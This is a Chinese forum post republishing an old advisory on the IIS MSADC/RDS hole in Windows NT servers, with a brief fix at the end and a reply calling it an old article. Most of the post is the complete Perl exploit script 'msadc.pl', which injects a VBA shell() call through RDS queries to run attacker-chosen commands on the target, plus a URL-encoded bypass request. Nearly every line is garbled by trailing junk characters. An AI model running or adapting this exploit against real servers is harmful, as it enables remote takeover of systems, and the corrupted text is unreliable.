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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) $d.Dk4.ed  
aJ1{9 5ea  
涉及程序: d+0= a]  
Microsoft NT server W58%Zz4a  
A ;|P\V  
描述: I58$N+#  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 IfI:|w}:"r  
/pLf?m9  
详细: oBo |eRIt|  
如果你没有时间读详细内容的话,就删除: 6 lEv<)cC  
c:\Program Files\Common Files\System\Msadc\msadcs.dll vuJEPn%  
有关的安全问题就没有了。 e$rPXRf  
T+%P+  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 #)S&Z><<  
#2Iw%H2q&  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 aQ&K a  
关于利用ODBC远程漏洞的描述,请参看: XSh [#qJ  
ztp2j%'  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @s,kx.S  
3+iryW(\  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 K(TejW#  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q0ba;KPm  
? 5OK4cR  
这里不再论述。 yGX5\PSo  
VT#`l0I }  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: |S:erYE,G  
>S{8sN  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset NJQy*~P  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 2 zX9c<S=5  
=&FaMR2  
5EECr \*  
#将下面这段保存为txt文件,然后: "perl -x 文件名" UDgX A  
@zLyG#kHY  
#!perl (rBYE[@,  
# E9 @Sc>e  
# MSADC/RDS 'usage' (aka exploit) script f9d{{u  
# Fp]ErDan  
# by rain.forest.puppy cXYE !(  
# GR 1%(,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Cyo:Da  A  
# beta test and find errors! :C={Z}t/F  
B9c gVTLj  
use Socket; use Getopt::Std; {yd(n_PqY  
getopts("e:vd:h:XR", \%args); qc' ;<  
<P]%{msGH  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; O+[s4]  
_U^G*EqL*  
if (!defined $args{h} && !defined $args{R}) { vCOtED*<  
print qq~ 2gEF$?+q?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } kcMg`pJ4<  
-h <host> = host you want to scan (ip or domain) z"FxKN~Z  
-d <seconds> = delay between calls, default 1 second z*cKH$':  
-X = dump Index Server path table, if available )gAqWbkB  
-v = verbose 8-@H zS%  
-e = external dictionary file for step 5 /`y^z"!  
y,qn9  
Or a -R will resume a command session LIyb+rH#yg  
Lnq CHe  
~; exit;} )FfS7 C\.  
f<'D?d)L^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; W"A3$/nq^  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 6X4r2Vq  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} z 8#{=e  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); nFn}  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 2 ksbDl}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,,7hVw  
j}fSz)`i  
if (!defined $args{R}){ $ret = &has_msadc; q_"w,28  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} b"OHXu  
\}YAQ'T  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" m5, &;~  
. "cmd /c "; "QBl "<<s  
$in=<STDIN>; chomp $in; Tiimb[|  
$command="cmd /c " . $in ; #GUD^#Jh  
]AN%#1++U  
if (defined $args{R}) {&load; exit;} wb##|XyK<c  
nAX/u[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; }2Y`Lr  
&try_btcustmr; (''w$qq"D  
*,=8x\Shp  
print "\nStep 2: Trying to make our own DSN..."; 9j5-/   
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 80Q%c(i  
K=pG,[ChA  
print "\nStep 3: Trying known DSNs..."; N-45LS@  
&known_dsn; 53^3. .E|  
AWA J*6Z  
print "\nStep 4: Trying known .mdbs..."; g?cxqC<  
&known_mdb; )a%E $`   
<KE%|6oER  
if (defined $args{e}){ /neY2D6  
print "\nStep 5: Trying dictionary of DSN names..."; 6 tB\X^  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } bwJluJ, E  
E[BM0.#bZ  
print "Sorry Charley...maybe next time?\n"; Xc~BHEp  
exit; n_wF_K\h  
O]@s` w  
############################################################################## IfY?P(P  
SN[ar&I  
sub sendraw { # ripped and modded from whisker P5GV9SA  
sleep($delay); # it's a DoS on the server! At least on mine... Rh)%;  
my ($pstr)=@_; `f <w+u  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `L!L=.}4  
die("Socket problems\n"); :z%Zur+n c  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9`KFJx6D  
select(S); $|=1; bHXoZix  
print $pstr; my @in=<S>;  w U1[/  
select(STDOUT); close(S); XK;Vu#E*^  
return @in; r-Y7wM`TZ  
} else { die("Can't connect...\n"); }} +k/=L9#e  
{]dvzoE]  
############################################################################## "EE (O9q  
t oM+Bd:Y  
sub make_header { # make the HTTP request [lu+"V,<LJ  
my $msadc=<<EOT :u)Qs#'29  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 YHxQb$v)  
User-Agent: ACTIVEDATA uh>"TeOi  
Host: $ip ,4;'s  
Content-Length: $clen B$S@xD $  
Connection: Keep-Alive .LbAR u  
abS3hf  
ADCClientVersion:01.06 Q:'r p  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 BH}M]<5  
7`^=Ie%(K  
--!ADM!ROX!YOUR!WORLD! KUU ZN  
Content-Type: application/x-varg ][XCpJ)8  
Content-Length: $reqlen }j!C+i  
/)?qD  
EOT p1T0FBV L  
; $msadc=~s/\n/\r\n/g; %MCS_'N J  
return $msadc;} ,F+,A].wG  
>\3N#S"PF  
############################################################################## j9-.bGtm?.  
;hh.w??  
sub make_req { # make the RDS request AOz~@i^  
my ($switch, $p1, $p2)=@_; IIF <Zkpb  
my $req=""; my $t1, $t2, $query, $dsn; pOj8-rr  
CBz=-Xr  
if ($switch==1){ # this is the btcustmr.mdb query ]u:Ij|.'y0  
$query="Select * from Customers where City=" . make_shell(); kxmsrQ>av  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . w$ ""])o,  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} $4^h>x  
\XfLTv  
elsif ($switch==2){ # this is general make table query "{c@}~  
$query="create table AZZ (B int, C varchar(10))"; CioS}K  
$dsn="$p1";} -"XHN=H  
]LMtZUz  
elsif ($switch==3){ # this is general exploit table query %zhSSB =BJ  
$query="select * from AZZ where C=" . make_shell(); 3T[zieX  
$dsn="$p1";} ,vBB". LY'  
zz8NBO  
elsif ($switch==4){ # attempt to hork file info from index server VJ1rU mO~  
$query="select path from scope()"; n;~'W*Ln0  
$dsn="Provider=MSIDXS;";} Qo*OC 9E`  
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elsif ($switch==5){ # bad query >gl.ILo  
$query="select"; =Q6JXp  
$dsn="$p1";} y I[kaH"J  
42:,*4t(  
$t1= make_unicode($query); RVF<l?EI4R  
$t2= make_unicode($dsn); /2Ok;!.  
$req = "\x02\x00\x03\x00"; 6y"T;.FAo  
$req.= "\x08\x00" . pack ("S1", length($t1)); [+!+Yn6:  
$req.= "\x00\x00" . $t1 ; U8</aQLGF  
$req.= "\x08\x00" . pack ("S1", length($t2)); p<y \ ^a  
$req.= "\x00\x00" . $t2 ;  RcZ&/MY  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; vYq"W%  
return $req;} ,L-V?B(UQ  
pIKfTkSqH  
############################################################################## 8x8nQ *_  
ll?Qg%V[t  
sub make_shell { # this makes the shell() statement Nk1p)V SC  
return "'|shell(\"$command\")|'";} x1" 8K  
$&i8/pD  
############################################################################## ^+kymZ  
 xS="o  
sub make_unicode { # quick little function to convert to unicode D8{f7{nY  
my ($in)=@_; my $out; u)%/df qzZ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Pj5:=d8z(  
return $out;} _T;Kn'Gz(&  
Zm+GH^f'  
############################################################################## 9S<V5$}  
K?yMy,9%Yw  
sub rdo_success { # checks for RDO return success (this is kludge) D4?cnwU  
my (@in) = @_; my $base=content_start(@in); JM53sx4&  
if($in[$base]=~/multipart\/mixed/){ v"<M ~9T)  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} H8m[:K]_H  
return 0;} Ql,WKoj*  
<@y(ikp>  
############################################################################## `X B$t?xi  
3ik~PgGoKQ  
sub make_dsn { # this makes a DSN for us }|nEbM]#  
my @drives=("c","d","e","f"); at\$ IK_  
print "\nMaking DSN: "; urQ<r{$x0  
foreach $drive (@drives) { v9Lf|FXo&  
print "$drive: "; k4` %.;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . iT+t  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" AdzdYZiM_  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); s=Kz9WLy  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &3itBQF  
return 0 if $2 eq "404"; # not found/doesn't exist =p dLh  
if($2 eq "200") { n' 1LNi  
foreach $line (@results) { c2]h.G83  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} $F]*B `  
} return 0;} g'EPdE  
di<g"8  
############################################################################## Rhw+~gd*F  
7 4hRG~  
sub verify_exists { 6t'.4SR  
my ($page)=@_; 6B}V{2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); G}aM~,v  
return $results[0];} X<f4X"y  
n>)h9q S  
############################################################################## v7f[$s$m  
)"63g   
sub try_btcustmr { V5 Gy|X  
my @drives=("c","d","e","f"); 8< J3Xe  
my @dirs=("winnt","winnt35","winnt351","win","windows"); PK&X | h  
7lr;S(C  
foreach $dir (@dirs) { >A}ra^gU  
print "$dir -> "; # fun status so you can see progress 3.rl^Cq1  
foreach $drive (@drives) { XRP+0=0  
print "$drive: "; # ditto (aB:P03  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; %2^V.`0T  
$reqlenlen=length( "$reqlen" ); K1o&(;l8G  
$clen= 206 + $reqlenlen + $reqlen; XMaw:Fgr  
z$VVt ?K  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); wp@6RJ  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} kc2 8Q2  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} $MM[`^~  
N5tFEV'G  
############################################################################## ]jR-<l8I-  
Yfy";C7X  
sub odbc_error { QHtN_Q_F  
my (@in)=@_; my $base; >}d6)s|   
my $base = content_start(@in); fr8';Jm  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $-\%%n0>6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cVSns\QO  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; INRRA  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; },O7NSG<o  
return $in[$base+4].$in[$base+5].$in[$base+6];} <Rz[G+0S=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]|[mwC4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 7(H?3)%0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} SE$l,Z"[*b  
Q_*.1L  
############################################################################## &0{&4,  
AR g]GV/L  
sub verbose { |Vp ?  
my ($in)=@_; ZR8y9mx2"  
return if !$verbose; V-"#Kf9  
print STDOUT "\n$in\n";} aaI5x  
SXV2Y-  
############################################################################## aLwEz}-   
EWWCh0 {  
sub save { Iomx"y]9  
my ($p1, $p2, $p3, $p4)=@_; Jt)J1CA Yo  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; F'ez{ B\AX  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; gUiZv8C  
close OUT;} VuH }@  
tn|H~iF{  
############################################################################## khQ fLA  
`'pfBVBz  
sub load { m=w #l>!  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 'a~F'FN$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); JYLAu4s6  
@p=<IN>; close(IN); vpdT2/F  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); I~-sBMm(w  
$target= inet_aton($ip) || die("inet_aton problems");  p.,`3"C1  
print "Resuming to $ip ..."; F#RtU :R  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Ze?H  
if($p[1]==1) { }xgs]\^,73  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; dX-j3lM:#  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; FQ/z,it_i  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); i{r[zA]$  
if (rdo_success(@results)){print "Success!\n";} )W1[{?  
else { print "failed\n"; verbose(odbc_error(@results));}} wid  
elsif ($p[1]==3){ q%XjJ -s:  
if(run_query("$p[3]")){ @J6V ,  
print "Success!\n";} else { print "failed\n"; }} ]@l;;Sp  
elsif ($p[1]==4){ 9q2x}  
if(run_query($drvst . "$p[3]")){ Seq ^o=  
print "Success!\n"; } else { print "failed\n"; }} z\K-KD{Ad  
exit;} WqHp23  
.AF\[IQ  
############################################################################## k~JTQh*,w  
( ;KTV*1  
sub create_table { On,z# A  
my ($in)=@_; CH6;jo]  
$reqlen=length( make_req(2,$in,"") ) - 28; 04a@  
$reqlenlen=length( "$reqlen" ); @2+'s;mUV  
$clen= 206 + $reqlenlen + $reqlen; ,X\qlT5C  
my @results=sendraw(make_header() . make_req(2,$in,"")); fyq %-Tj  
return 1 if rdo_success(@results); .RbPO#(  
my $temp= odbc_error(@results); verbose($temp); ;r XZ?"  
return 1 if $temp=~/Table 'AZZ' already exists/; uzS;&-nA  
return 0;} tHFUV\D;,  
EIOP+9zP  
############################################################################## 66po SZR@  
k?_uv  
sub known_dsn { l_ LH!Tu  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ZtpbKy!\$B  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Q@C  y\l  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ! z5Ozm+}  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); - R`nitf  
;20sh^~  
foreach $dSn (@dsns) { JRDIGS_~  
print "."; ^+Vf*YY 8  
next if (!is_access("DSN=$dSn")); /^`d o3a}  
if(create_table("DSN=$dSn")){ g? C<@  
print "$dSn successful\n"; $Ut1vp1$  
if(run_query("DSN=$dSn")){ DyRU$U  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { e )]  
print "Something's borked. Use verbose next time\n";}}} print "\n";} =b Q\BY#  
^KQZ;[B  
############################################################################## :=K+~?  
gbu)bqu2x  
sub is_access { z/pxZ B ~"  
my ($in)=@_; 0 R>!jw  
$reqlen=length( make_req(5,$in,"") ) - 28; jori,"s  
$reqlenlen=length( "$reqlen" ); +Ecn  
$clen= 206 + $reqlenlen + $reqlen; fhro"5/4  
my @results=sendraw(make_header() . make_req(5,$in,"")); O/oLQoH  
my $temp= odbc_error(@results); 161IWos  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); QL-E4]   
return 0;} [`1@`5SL-  
^,Ft7JAn  
############################################################################## :7s2M  
U< "k -  
sub run_query { cfHtUv  
my ($in)=@_; D#d/?\2  
$reqlen=length( make_req(3,$in,"") ) - 28; )c.!3n/pb  
$reqlenlen=length( "$reqlen" ); 2UTmQOm  
$clen= 206 + $reqlenlen + $reqlen; 0 l+Jq  
my @results=sendraw(make_header() . make_req(3,$in,"")); k jx<;##R8  
return 1 if rdo_success(@results); :79u2wSh  
my $temp= odbc_error(@results); verbose($temp); < WQ ~X<1D  
return 0;} ?p>m ;Aq  
"lB%"}  
############################################################################## z#d*Odc  
-s 7a\H{~  
sub known_mdb { zTw<9Nf  
my @drives=("c","d","e","f","g"); .Z@iz5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Q|7m9~  
my $dir, $drive, $mdb; )p{,5"0u  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5#dJga/88  
)1!0'j99.  
# this is sparse, because I don't know of many ZU l-&P_X  
my @sysmdbs=( "\\catroot\\icatalog.mdb", )J 8mn*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4?c0rC<  
"\\system32\\certmdb.mdb", iz27yXHZ~  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ziv*4  
e8k|%m<Sp  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 352RJC  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;/!o0:m^I  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ,S&p\(r.  
"\\cfusion\\cfapps\\security\\realm_.mdb", bMqFrG  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ah#jvp  
"\\cfusion\\database\\cfexamples.mdb", @/='BVb'T  
"\\cfusion\\database\\cfsnippets.mdb", GFvLd:p` [  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [*r=u[67F  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?JR?PW8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", @={ qy}  
"\\cfusion\\database\\smpolicy.mdb", e[db?f2!  
"\\cfusion\\database\cypress.mdb", =TA8]7S~U  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 7 LiyA<  
"\\website\\cgi-win\\dbsample.mdb", a._>?rVy  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", vJ>o9:(6  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ((6?b5[  
); #these are just {v2[x W  
foreach $drive (@drives) { Ys<z%  
foreach $dir (@dirs){ m~gcc  
foreach $mdb (@sysmdbs) { X#ud_+6x  
print "."; B_"PFWwg  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ |J~A )Bw?  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; +)_#j/  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ _lfS"ae  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; lr)9U 7  
} else { print "Something's borked. Use verbose next time\n"; }}}}} cvjZ$Fcc%(  
}wC=p>zA  
foreach $drive (@drives) { Tz7|OV_W$  
foreach $mdb (@mdbs) { _:KeSskuO  
print "."; D&D-E~b^  
if(create_table($drv . $drive . $dir . $mdb)){ -=qHwcId  
print "\n" . $drive . $dir . $mdb . " successful\n"; S>d7q  
if(run_query($drv . $drive . $dir . $mdb)){ )gk tI!  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; gj4ONmY  
} else { print "Something's borked. Use verbose next time\n"; }}}} }synU]^7\  
} *56q4\1  
Sd\oL*lN  
############################################################################## {z@a{L:SC  
Q'aVdJN,  
sub hork_idx { ov1#BeQ  
print "\nAttempting to dump Index Server tables...\n"; ob9=/ R?i  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Xv xrz{  
$reqlen=length( make_req(4,"","") ) - 28; m>!aI?g  
$reqlenlen=length( "$reqlen" ); b:$q5  
$clen= 206 + $reqlenlen + $reqlen; UGP&&A#T-  
my @results=sendraw2(make_header() . make_req(4,"","")); it->)?"(6  
if (rdo_success(@results)){ ]G,BSttD  
my $max=@results; my $c; my %d; ozl>Au  
for($c=19; $c<$max; $c++){  K"Gea`I  
$results[$c]=~s/\x00//g; {&nDm$KTD  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; QM{B(zH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Ib"fHLWA^!  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Cjj(v7[E  
$d{"$1$2"}="";} A%~t[ H  
foreach $c (keys %d){ print "$c\n"; } "P$')u wE  
} else {print "Index server doesn't seem to be installed.\n"; }} 9jllW[`2F  
\\Nt^j3qR  
############################################################################## 0RN7hpf&`  
xN6}4JB  
sub dsn_dict { a@#<qf8g  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); +#6f)H(P]  
while(<IN>){ DKG; up0  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~l*[=0}  
next if (!is_access("DSN=$dSn")); Q fL8@W~e  
if(create_table("DSN=$dSn")){ uC2qP)m,^  
print "$dSn successful\n"; '~xiD?:  
if(run_query("DSN=$dSn")){ Sy^@v%P'A  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kE1k@h#/  
print "Something's borked. Use verbose next time\n";}}} +[pJr-k  
print "\n"; close(IN);} )2R]KU_=g  
srH.$Y;~  
############################################################################## Bd[H@oKru  
Kj:'Ei7  
sub sendraw2 { # ripped and modded from whisker NFI~vkk'G  
sleep($delay); # it's a DoS on the server! At least on mine... 7Kt i&T  
my ($pstr)=@_; '<AE%i,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (mx}6A  
die("Socket problems\n"); !ozHS_  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9 $zx<O  
print "Connected. Getting data";  hAD gi^  
open(OUT,">raw.out"); my @in; %4w#EbkSS  
select(S); $|=1; print $pstr; `8;\}6:"1  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Ee=!bv(%70  
close(OUT); select(STDOUT); close(S); return @in; 4r9AUmJqw  
} else { die("Can't connect...\n"); }} 8cj}9}k  
ngzQVaB9  
############################################################################## dDl_Pyg4K  
@`HW0Y_:  
sub content_start { # this will take in the server headers aQV?}  
my (@in)=@_; my $c; KD'}9{F,  
for ($c=1;$c<500;$c++) { j{H IdP  
if($in[$c] =~/^\x0d\x0a/){ $"3cN&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } MgH O WoF  
else { return $c+1; }}} y~ wN:  
return -1;} # it should never get here actually yg"FF:^T  
Q>uJ:[x+  
############################################################################## R)%I9M,  
~_ko$(;A  
sub funky { && WEBQ  
my (@in)=@_; my $error=odbc_error(@in); r`PD}6\  
if($error=~/ADO could not find the specified provider/){ +SkfT4*U  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ePTxuCf>  
exit;} >vNE3S_  
if($error=~/A Handler is required/){ $Eo-58<q  
print "\nServer has custom handler filters (they most likely are patched)\n"; J$,bsMIX  
exit;} ]MB6++.e  
if($error=~/specified Handler has denied Access/){ J n'SGR  
print "\nServer has custom handler filters (they most likely are patched)\n"; u`u{\ xN9  
exit;}} zn5|ewl@"  
hdYd2 j  
############################################################################## YH&0Vy#c$  
VRUA<x  
sub has_msadc { 3u9}z+q  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); l)Mi?B~N  
my $base=content_start(@results); P@U2Q%\  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); l$C Y gm  
return 0;} *Q;?p hr  
Y\E7nll:.  
######################## Pe` jNiI  
`Yyi;!+0  
 `dIwBfg_  
解决方案: {%6g6?=j  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ,j eC7-tX  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 yER  
MZ>Q Rf  
拿出来充数 哈哈
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